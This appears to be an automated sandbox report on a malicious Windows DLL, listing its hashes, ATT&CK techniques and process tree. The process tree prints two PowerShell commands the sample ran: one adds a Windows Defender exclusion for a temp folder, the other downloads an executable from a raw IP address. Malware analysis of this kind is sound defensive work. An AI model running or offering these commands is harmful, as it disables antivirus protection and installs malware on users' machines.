aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564

Analysis

max time kernel
15s
max time network
17s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-12-2024 04:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564.dll
Size

6KB
MD5

e017be56699801dc89a8d6d1724eb633
SHA1

a7f7aae4744210db8ebaf4da06c167357bc71eca
SHA256

aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564
SHA512

2368425dadc7f22eb11532359d4d1aa97bf3e381f4fd7b62c587e1f8819ef64a0ff7fc75cc5948939fadebc423345ab65a1cd2799bb4136fbea89d1f75dfc8c8
SSDEEP

96:fNnyOybUJQ23GgX791qKilsZODTgFZP/8R:fNnyOybrVO9QKilhfgFZP/u

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2800	powershell.exe
2572	powershell.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2576	2236	WerFault.exe	30

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2800	powershell.exe
2572	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 880 wrote to memory of 2236	880	regsvr32.exe	30
PID 880 wrote to memory of 2236	880	regsvr32.exe	30
PID 880 wrote to memory of 2236	880	regsvr32.exe	30
PID 880 wrote to memory of 2236	880	regsvr32.exe	30
PID 880 wrote to memory of 2236	880	regsvr32.exe	30
PID 880 wrote to memory of 2236	880	regsvr32.exe	30
PID 880 wrote to memory of 2236	880	regsvr32.exe	30
PID 2236 wrote to memory of 2800	2236	regsvr32.exe	31
PID 2236 wrote to memory of 2800	2236	regsvr32.exe	31
PID 2236 wrote to memory of 2800	2236	regsvr32.exe	31
PID 2236 wrote to memory of 2800	2236	regsvr32.exe	31
PID 2236 wrote to memory of 2572	2236	regsvr32.exe	33
PID 2236 wrote to memory of 2572	2236	regsvr32.exe	33
PID 2236 wrote to memory of 2572	2236	regsvr32.exe	33
PID 2236 wrote to memory of 2572	2236	regsvr32.exe	33
PID 2236 wrote to memory of 2576	2236	regsvr32.exe	35
PID 2236 wrote to memory of 2576	2236	regsvr32.exe	35
PID 2236 wrote to memory of 2576	2236	regsvr32.exe	35
PID 2236 wrote to memory of 2576	2236	regsvr32.exe	35

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:880
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\redj5i0w.wuj.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2572
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2236 -s 808
    3⤵
    - Program crash
    PID:2576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
0c9eda3c1ca15eb54856a4a2a6f486bd

SHA1
2e1de7b169a798f3f58bc14fd4de9bb519688c8c

SHA256
740d88c4f02846be1cc14538cf6c65d3bf0e88ebe34f79195c481ece030f8cd7

SHA512
0148f8fee649d1b8aace2602c2ed06b8d87df8a8aefcc82791248a7d974351340565d93a27c9cbd47fa469da5c40d640b195469b7fe6174713cdf18514ba018c

Download Submit
memory/2236-0-0x00000000003F0000-0x00000000003FA000-memory.dmp

Filesize
40KB

Download
memory/2236-1-0x0000000074D10000-0x0000000074D1A000-memory.dmp

Filesize
40KB

Download